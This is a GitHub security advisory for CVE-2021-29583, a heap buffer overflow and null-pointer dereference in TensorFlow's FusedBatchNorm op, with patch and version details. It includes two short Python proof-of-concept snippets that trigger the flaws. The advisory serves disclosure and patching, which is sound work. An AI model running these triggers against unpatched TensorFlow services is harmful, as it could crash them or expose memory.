GHSA-9xh4-23q4-v6wr

Dashboard / Vulnerabilities / GHSA-9xh4-23q4-v6wr

GHSA-9xh4-23q4-v6wr

Summary: Heap buffer overflow and undefined behavior in `FusedBatchNorm`

Details: ### Impact The implementation of `tf.raw_ops.FusedBatchNorm` is vulnerable to a heap buffer overflow: ```python import tensorflow as tf x = tf.zeros([10, 10, 10, 6], dtype=tf.float32) scale = tf.constant([0.0], shape=[1], dtype=tf.float32) offset = tf.constant([0.0], shape=[1], dtype=tf.float32) mean = tf.constant([0.0], shape=[1], dtype=tf.float32) variance = tf.constant([0.0], shape=[1], dtype=tf.float32) epsilon = 0.0 exponential_avg_factor = 0.0 data_format = "NHWC" is_training = False tf.raw_ops.FusedBatchNorm( x=x, scale=scale, offset=offset, mean=mean, variance=variance, epsilon=epsilon, exponential_avg_factor=exponential_avg_factor, data_format=data_format, is_training=is_training) ``` If the tensors are empty, the same implementation can trigger undefined behavior by dereferencing null pointers: ```python import tensorflow as tf import numpy as np x = tf.zeros([10, 10, 10, 1], dtype=tf.float32) scale = tf.constant([], shape=[0], dtype=tf.float32) offset = tf.constant([], shape=[0], dtype=tf.float32) mean = tf.constant([], shape=[0], dtype=tf.float32) variance = tf.constant([], shape=[0], dtype=tf.float32) epsilon = 0.0 exponential_avg_factor = 0.0 data_format = "NHWC" is_training = False tf.raw_ops.FusedBatchNorm( x=x, scale=scale, offset=offset, mean=mean, variance=variance, epsilon=epsilon, exponential_avg_factor=exponential_avg_factor, data_format=data_format, is_training=is_training) ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/57d86e0db5d1365f19adcce848dfc1bf89fdd4c7/tensorflow/core/kernels/fused_batch_norm_op.cc) fails to validate that `scale`, `offset`, `mean` and `variance` (the last two only when required) all have the same number of elements as the number of channels of `x`. This results in heap out of bounds reads when the buffers backing these tensors are indexed past their boundary. If the tensors are empty, the validation mentioned in the above paragraph would also trigger and prevent the undefined behavior. ### Patches We have patched the issue in GitHub commit [6972f9dfe325636b3db4e0bc517ee22a159365c0](https://github.com/tensorflow/tensorflow/commit/6972f9dfe325636b3db4e0bc517ee22a159365c0). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

References: https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9xh4-23q4-v6wr, https://nvd.nist.gov/vuln/detail/CVE-2021-29583, https://github.com/tensorflow/tensorflow/commit/6972f9dfe325636b3db4e0bc517ee22a159365c0, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-511.yaml, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-709.yaml, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-220.yaml, https://github.com/tensorflow/tensorflow